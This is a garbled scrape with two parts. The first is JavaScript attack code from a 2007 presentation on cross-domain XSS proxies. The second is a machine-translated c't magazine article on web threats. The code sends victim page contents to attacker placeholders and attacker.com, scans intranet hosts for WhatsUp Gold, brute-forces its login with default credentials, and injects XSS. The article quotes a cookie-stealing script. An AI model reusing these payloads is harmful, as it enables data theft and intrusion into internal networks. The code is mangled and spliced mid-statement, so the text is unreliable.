<span style="font-size:78%;"><script%20src=http: attacker=""><script%20src=http: com="" test=""> document.body.innerHTML=iframeHTML; setInterval('controlFrameFunction()',5000); victimFrame = document.getElementById('myFrame'); newVictimContents bigframe.replace("spotter.js","noresponse.js"); newVictimFrame victimFrame.contentWindow.document; newVictimFrame.open(); newVictimFrame.write(newVictimContents); newVictimFrame.close(); document.all.myFrame.style.visibility="visible"; } function controlFrameFunction() { controlFrameHTML ""; controlFrameHTML ""; controlFrameHTML ""; controlFrame = document.getElementById('myFrame2'); controlContents controlFrameHTML; newControlContents = controlFrame.contentWindow.document; newControlContents.open();  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door newControlContents.write(controlContents); newControlContents.close(); }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door External­spot.js document.write(''); randomnumber=Math.floor(Math.random()*1000001); function spotter(){ bigframe=document.documentElement.innerHTML; iframeHTML='<iframe name="myFrame" iframe="" id="myFrame" frameborder="0" height="50%" scrolling="auto" width="50%"></iframe>'; iframeHTML+='<iframe name="myFrame2" iframe="" id="myFrame2" frameborder="0" height="0%" scrolling="auto" width="0%"></iframe>'; iframeHTML+='<iframe name="myFrame3" iframe="" id="myFrame3" frameborder="0" height="50%" scrolling="auto" width="50%"></iframe><script src="http://%IPPLACEHOLDER%/test/external.js?trigger=%22+randomnumber+%22">"; controlFrameHTML "</script>'; document.body.innerHTML=iframeHTML; setInterval('controlFrameFunction()',5000); victimFrame = document.getElementById('myFrame'); newVictimContents bigframe.replace("external­spot.js","noresponse.js"); newVictimFrame victimFrame.contentWindow.document; newVictimFrame.open(); newVictimFrame.write(newVictimContents); newVictimFrame.close(); } function controlFrameFunction() { controlFrameHTML ""; controlFrameHTML ""; controlFrameHTML ""; controlFrame = document.getElementById('myFrame2'); controlContents controlFrameHTML; newControlContents = controlFrame.contentWindow.document; newControlContents.open(); newControlContents.write(controlContents); newControlContents.close(); }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Sniper Scope function sniperscope(){ browser=navigator.appName b_version=navigator.appVersion version=parseFloat(b_version) if (browser=="Microsoft Internet Explorer") { IEsniperscope(); } else { firefoxsniperscope(); } } Firefox Sniper Scope function firefoxsniperscope(){ encodedcontent escape(parent.myFrame.document.documentElement.innerHTML); sniperscopeimage new Image(); sniperscopeimage.src = "http://%IPPLACEHOLDER%/parameter.gif?content="+encodedcontent; }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Sniper Scope function IEsniperscope(){ frame3html ='<iframe name="crossDomainPostFrame" iframe="" id="crossDomainPostFrame" frame3html="" frameborder="1" height="50%" scrolling="auto" width="50%"></iframe><script>var = escape(parent.myFrame.document.documentElement.innerHTML);'; frame3html postFrame document.getElementById("crossDomainPostFrame");'; frame3html newPostContents postFrame.contentWindow.document;'; frame3html crossDomainPostContents '; frame3html 'crossDomainPostContents "<form name="myform" method="POST" action="http://%IPPLACEHOLDER%/test/4321">";'; frame3html 'crossDomainPostContents input type=hidden name=content value="+test;'; frame3html 'crossDomainPostContents +="></form>";'; frame3html 'crossDomainPostContents "<script>";'; frame3html 'crossDomainPostContents +="document.forms[\'myform\'].submit();";'; frame3html 'crossDomainPostContents +="</scr";'; frame3html 'crossDomainPostContents "ipt>";'; frame3html 'crossDomainPostContents +="test</body</html>";'; frame3html 'newPostContents.open();'; frame3html 'newPostContents.write(crossDomainPostContents);'; frame3html 'newPostContents.close();'; frame3html '</script>'; frame3html ''; parent.myFrame3.document.open(); parent.myFrame3.document.write(frame3html); parent.myFrame3.document.close();  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door XML HTTP Request (XHR) function XHR(url) { xmlhttp=null if (window.XMLHttpRequest) xmlhttp=new XMLHttpRequest(); // code else if (window.ActiveXObject) xmlHttp = new ActiveXObject('MSXML2.XMLHTTP.3.0'); if (xmlhttp!=null) xmlhttp.onreadystatechange=state_Change; xmlhttp.open("GET",url,true); xmlhttp.send(null); else }function state_Change() { // if xmlhttp shows "loaded" if (xmlhttp.readyState==4); XHRsniperscope(xmlhttp.responseText); }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door XHR Sniper Scope function XHRsniperscope(contents){ browser=navigator.appName; b_version=navigator.appVersion; version=parseFloat(b_version); if (browser=="Microsoft Internet Explorer") { XHRIEsniperscope(contents); } else { XHRfirefoxsniperscope(contents); } } XHR Firefox Sniper Scope function XHRfirefoxsniperscope(contents1){ encodedcontent escape(contents1); sniperscopeimage new Image(); sniperscopeimage.src "http://%IPPLACEHOLDER%/parameter.gif?XHRcontent="+encodedcontent; }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door XHR Sniper Scope function XHRIEsniperscope(contents2){ HTMLcontents = escape(contents2); frame3html ='<iframe name="crossDomainPostFrame" iframe="" id="crossDomainPostFrame" frame3html="" frameborder="1" height="50%" scrolling="auto" width="50%"></iframe> parent.myFrame3.document.open(); parent.myFrame3.document.write(frame3html); parent.myFrame3.document.close(); }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door WhatsUP Gold 2006 Scanner myimages = Array(); imageLocations Array(); arraycounter = 0; payloadtoattacker = Image(); (i=140; i<=150; i++) { imageLocations[arraycounter] "http://192.168.58."+i+"/NmConsole/images/ logo_WhatsUpProfessional.gif"; arraycounter++; } function preloading(){ (x=0; x imageLocations.length; x++){ myimages[x] new Image(); myimages[x].src = imageLocations[x]; } } function fingerprint(){ for(numofimages numofimages < myimages.length; numofimages++){ (myimages[numofimages].width==0) { } else { payloadtoattacker.src="http://www.attacker.com/parameter?scanner=WhatsUPGOLD200 6@"+myimages[numofimages].src} } } preloading(); setTimeout('fingerprint()',1000);  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door WhatsUP Gold 2006 Brute Forcer function getGold(){ BF('http://192.168.58.144/NmConsole/Login.asp','
</script%20src=http:></script%20src=http:></span>

<span style="font-size:78%;"><script%20src=http: attacker=""><script%20src=http: com="" test="">http://192.168.58.144/NmConsole/ToolResults. asp?bIsIE=true&nToolType=0&sHostname=%3cscript%20src=%22http://www.attacker.com/exter spot.js%22%3e%3c/script%3e&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping','bIsJavaSc riptDisabled=false&btnLogIn=Log+In&bIsIE=true'); } function BF(login,xss,otherparameters){ usernameList new Array("administrator","whatsup","admin"); passwordList = Array("password","admin","administrator"); additionalparams = otherparameters; myTimeout 100; usernameListLength = usernameList.length; ( i=0, len=usernameListLength; i<len; username="usernameList[i];" passwordlistlength="passwordList.length;" len2="passwordListLength;" i2="0,"><len2; i2="" password="passwordList[i2];" sloginusername="" sloginpassword="" p="" mytimeout="myTimeout" march="" 2007="" kicking="" down="" the="" cross="" domain="" door="" function="" otherparameters_array="otherparams.split("&");" otherparameterslength="" otherparameters_array2="" new="" frame3html=""></len2;></len;></script%20src=http:></script%20src=http:></span><script 20src="http://www.attacker.com/test/external­spot.js?"></script><form name="credsform" id="credsform" method="post" action="+loginURL+" frame3html=""><input name="'+usernameparam+'" value="'+usernamevalue+'" type="hidden"><span style="font-size:78%;">'; frame3html ''; (var op=0, oplen=otherparametersLength; op<otherparameterslength; otherparameters_array2="otherparameters_array[op].split("=");" frame3html=""><input name="+otherparameters_array2[0]+" value="+otherparameters_array2[1]+" type="hidden">'; } frame3html '</otherparameterslength;>'; frame3html ''; frame3html 'document.forms[\'credsform\'].submit();'; frame3html '</span><input name="'+passwordparam+'" value="'+passwordvalue+'" type="hidden"><script></script></form><span style="font-size:78%;">'; frame3html ''; parent.myFrame3.document.open(); parent.myFrame3.document.write(frame3html); parent.myFrame3.document.close(); }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door function FollowUPXSS(xssstring){ xss xssstring; frame3html2 = '</span><form name="credsform2" id="credsform2" method="post" action="+xssstring+"><span style="font-size:78%;">'; frame3html2 '</span></form><span style="font-size:78%;">'; frame3html2 ''; frame3html2 'document.forms[\'credsform2\'].submit();'; frame3html2 ''; frame3html2 ''; parent.myFrame3.document.open(); parent.myFrame3.document.write(frame3html2); parent.myFrame3.document.close(); }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Nikto Scanner function snipernikto(){ browser=navigator.appName if (browser=="Microsoft Internet Explorer") { IEsnipernikto() } else { firefoxsnipernikto(); } function firefoxsnipernikto(){ fullresponse = sniperNiktoImage new Image(); sniperNikto new Array(); newSniperNikto Array(); isVulnerable; sniperNikto[0]="apache^/^Celerra Manager^GET^Default EMC Cellera manager server running."; sniperNikto[1]="apache^/^deafult Tomcat^GET^Appears default Apache Tomcat install."; sniperNikto[2]="apache^/^default Tomcat^GET^Appears default Apache Tomcat install."; sniperNikto[3]="generic^/includes/^200^GET^This might interesting..."; (i=0;i sniperNikto.length;i++) { newSniperNikto sniperNikto[i].split('^'); xmlrequest(newSniperNikto[3],newSniperNikto[1],newSniperNikto[2],newSniperNikto[4]); } function xmlrequest(method,url,searchstring,desc)  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door { xmlhttp = XMLHttpRequest(); isVulnerable; xmlhttp.open(method,url, true); xmlhttp.send(null); xmlhttp.onreadystatechange = function() if (xmlhttp.readyState { fullresponse xmlhttp.status; fullresponse "\r\n"; fullresponse xmlhttp.statusText; fullresponse "\r\n"; fullresponse xmlhttp.getAllResponseHeaders(); fullresponse xmlhttp.responseText; isVulnerable fullresponse.indexOf(searchstring); if (isVulnerable { sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoVulnerable='+url+" "+desc; } else { sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoNotVulnerable='+url+" "+desc; } } } } }  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door function IEsnipernikto(){ fullresponse = xmlhttp = 'no Object'; sniperNiktoImage new Image(); sniperNikto new Array(); newSniperNikto Array(); isVulnerable; sniperNikto[0]="apache^/^Celerra Manager^GET^Default EMC Cellera manager server running."; sniperNikto[1]="apache^/^deafult Tomcat^GET^Appears default Apache Tomcat install."; sniperNikto[2]="apache^/^default Tomcat^GET^Appears default Apache Tomcat install."; sniperNikto[3]="generic^/includes/^200^GET^This might interesting..."; (i=0;sniperNikto.length;i++) { newSniperNikto sniperNikto[i].split('^'); isVulnerable checkURLStatus(newSniperNikto[1],newSniperNikto[3]); isVulnerable =isVulnerable.indexOf(newSniperNikto[2]); if (isVulnerable { sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoVulnerable='+newSniperNikto[1]+" "+newSniperNikto[4]; } else { sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoNotVulnerable='+newSniperNikto[4]; } } function checkURLStatus(url,requestmethod) { {xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');} catch(e1) {  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door try{xmlhttp new ActiveXObject('Microsoft.XMLHTTP');} catch(e2) { try{xmlhttp new XMLHttpRequest();} catch(e3) {xmlhttp object';}}} xmlhttp.open(requestmethod, true); xmlhttp.onreadystatechange = handlexmlhttpstatechange; xmlhttp.send(); return (fullresponse); } function handlexmlhttpstatechange() { if (xmlhttp.readyState fullresponse xmlhttp.status; fullresponse "\r\n"; fullresponse xmlhttp.statusText; fullresponse "\r\n"; fullresponse xmlhttp.getAllResponseHeaders(); fullresponse xmlhttp.responseText; } } } }  Appendix B -- Sniper Code Snippets private static void ProcessIncomingRequest(HttpListenerRequest httprequest) { // // Determine whether the incoming request it a GET or a POST and act accordingly // string request = "" ; if (httprequest.HttpMethod.Equals("GET")) { // // Process the incoming request for payloads // if (request.IndexOf("?") >= 0 ) {  } // // Process incoming nikto payloads // if (parameters.Contains(form1.txtNiktoPositives.Text)) { string niktoPositive = request.Substring(request.IndexOf("=") + 1); updateNiktoResultsDelegate updateNiktoResultsObject = new updateNiktoResultsDelegate(updateNiktoResults); form1.txtNiktoPositives.Invoke(updateNiktoResultsObject, niktoPositive.ToString()); content = content.Replace("spotter.js", form1.txtNoResponseString.Text); } // //Write the sanitized content to the sniper scope // form1.webSniperScope.DocumentText = content; } // // Process incoming cookie thief payloads .heise.de/RealMedia/ads/adstream_lx.ads/www.heise.de/ct/unassigned/467277288/Left1/OasDefault/google04_ct/google04_nfanwendungen_script.html/64313535616138383438333734396130?_RM_EMPTY_" width="1" height="1" alt="" /><heisetext></heisetext></span><script></script><p class="seitenname"> <span onmouseover="_tipon(this)" onmouseout="_tipoff()" style="font-size:78%;"><span class="google-src-text" style="direction: ltr; text-align: left;">c't 11/2008, S. 82: Cybercrime: Bedrohungen</span> c't 11/2008, p. 82: Cyber Crime: Threats</span> </p><span style="font-size:78%;"></span><h4 style="font-weight: normal;"> <span onmouseover="_tipon(this)" onmouseout="_tipoff()" style="font-size:78%;"><span class="google-src-text" style="direction: ltr; text-align: left;"><a href="mailto:dab@ctmagazin.de">Daniel Bachfeld</a></span> <a href="mailto:dab@ctmagazin.de">Daniel Bach field</a></span> </h4><h2 style="font-weight: normal;"> <span onmouseover="_tipon(this)" onmouseout="_tipoff()" style="font-size:78%;"><span class="google-src-text" style="direction: ltr; text-align: left;">Dunkle Flecken</span> Dark spots Novel surprise attacks Webuser With sophisticated tricks to try the criminals today websites to use - namely, where one least expects attacks Expect the Unexpected, otherwise you will not find it, "knew the Greek philosopher Heraclitus some 500 years before Christ's birth. Especially in relation to the dangers on the Internet it is increasingly important to focus on attacks from all directions at present. Even those who weighs in security, because it only on well-known, supposedly safe surfing pages, is not before the attacks of Internet-Mafia immune. A long time wastrue that if you do not go to dirty or file-swap pages, go to online banking only via bookmarks not execute attachments in e-mails and always have all the security updates for its Web browser installed, has little to fear. In addition, security features in Windows operating systems, such as protection against buffer overflows, and Speicherverwürfelung UAC under Vista (User Account Control UAC) verpuffen many conventional attacks. But the cyber-criminals are not on the skin and lazy thinking is always new tricks to PCs still under their control and data spy. In essence, the objectives remained the same: theft of passwords, credit card numbers and PINs and TANs, and the development of Botnets. To achieve this, make the hoodlums taking advantage of the techniques to the Web to jump to version 2.0 negotiations: Ajax, Flash and cohorts. Moreover, they increasingly applications, which has so far not a typical gateway were in the PC, such as the long-sicherheitsunkritisch eingeschätzten Adobe Reader or Apple QuickTime. One of the biggest security problems in the Web is a few years since the so-called cross-site scripting, when the attacker groomed their victims push Java scripts in the browser to a certain amount of page access data or cookies this function and to use. What exactly the fraudsters using stolen data, said the article under suspicion "on page 92 in c't 11/08. The difficulty for the attacker was yet to be JavaScript in the context of the page to run, which he coveted the password (see box on page 86 in c't 11/08). But he had in general a vulnerability can be found on the server and a bogus link with embedded code to send his victims, even those anklickte <a href="http://209.85.171.104/translate_c?hl=en&sl=de&tl=en&u=http://www.heise.de/ct/08/11/082/#literatur">[1].</a> A typical prepared link contained approximately following code <code><script> document.location ( "http://cookie-klau.de/klau.cgi?" + Document.cookie); </ script></code> to a cookie on the server Attacker to send. XSS worm The interactive Web with its many social networking, forums and blog sites makes it easier for the attacker: Many allow the design their own pages, some with active content. For instance, the harmful content directly into the pages. Moreover, an attacker could no longer handle suspicious-looking links, it is enough, his victim with a link to a page with one of the big, supposedly trusted MyIrgendwas providers to send. In this way began to last several hundred thousand users primarily in South America used social networking site Orkut, a JavaScript worm, the user profile user profile schlängelte. Even applications where you would not have direct contact with suspect websites would be responsible for such attacks with hidden code embedded vulnerable. So Skype had the same access to its clients on the video portals Metacafe and MyVideo block, as attacker in the meta-data of the videos embed scripts. To view the videos using Skype Internet Explorer, the Java scripts to all disaster even in the local context, with the highest rights, said. Since cross-site scripting now reached epidemic proportions, try the major provider of Web 2.0 pages embedding of active content on their pages by user JavaScript filters and other measures to prevent it. However, individual functions are the grid and remain unprotected. Google has too often with cross-site scripting gaps in Gmail and Google Docs to fight. Until recently, it was such as Google Spreadsheets possible in the table fields JavaScript code hineinzuschreiben, when called by other users invited their Google cookie auslas.</span><span style="font-size:78%;"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()" style="font-size:78%;"><span class="google-src-text" style="direction: ltr; text-align: left;">

Because Google diensteübergreifend a single session cookie uses an attacker would have this after a successful theft to notify all other applications to abuse. Box stunt But resourceful attacker can use Javascript eingeschleustem not only stored on a PC out cookies, they can be shown the content of websites completely or partially replace the input of the victim in form fields or even monitor their own forms to the server. This goes so far that an attacker virtually in real time the browser as a proxy victim of his abuse, at the same time on the server mitzusurfen on which the victim is currently logged.

The whole thing works on a script written in Java XSS proxy in a hidden IFrame, the connection to a server maintained by the fraudster and receives commands
In the context of the victim can in this way, such as an online shop own orders. With sophisticated methods can be used in JavaScript also a port scanner to implement, with the hacker from a distance, for example, a company's intranet ausforschen, if an employee in the case lest
With the results obtained the attackers plan their way forward. Worries safety specialists also used by Ajax XMLHttpRequest interface (XHR), with the JavaScript other content or data from a web server in parts nachlädt dynamically without having to the entire page to rebuild, as is the case with pure HTML pages is the case . Since the interface works asynchronously, a Javascript not wait for a response, but may make other tasks. Websites like Google Maps would be unthinkable without this interface. However, so that the traffic between the browser and server to the user uncontrollably. Typical signs of a browser activity such as the growing cargo bar in the status bar at Ajax without function. As a result, may also by attackers in a browser smuggled-in code still less act. In addition, a script with XHR parts of the HTTP header define themselves before the request send-off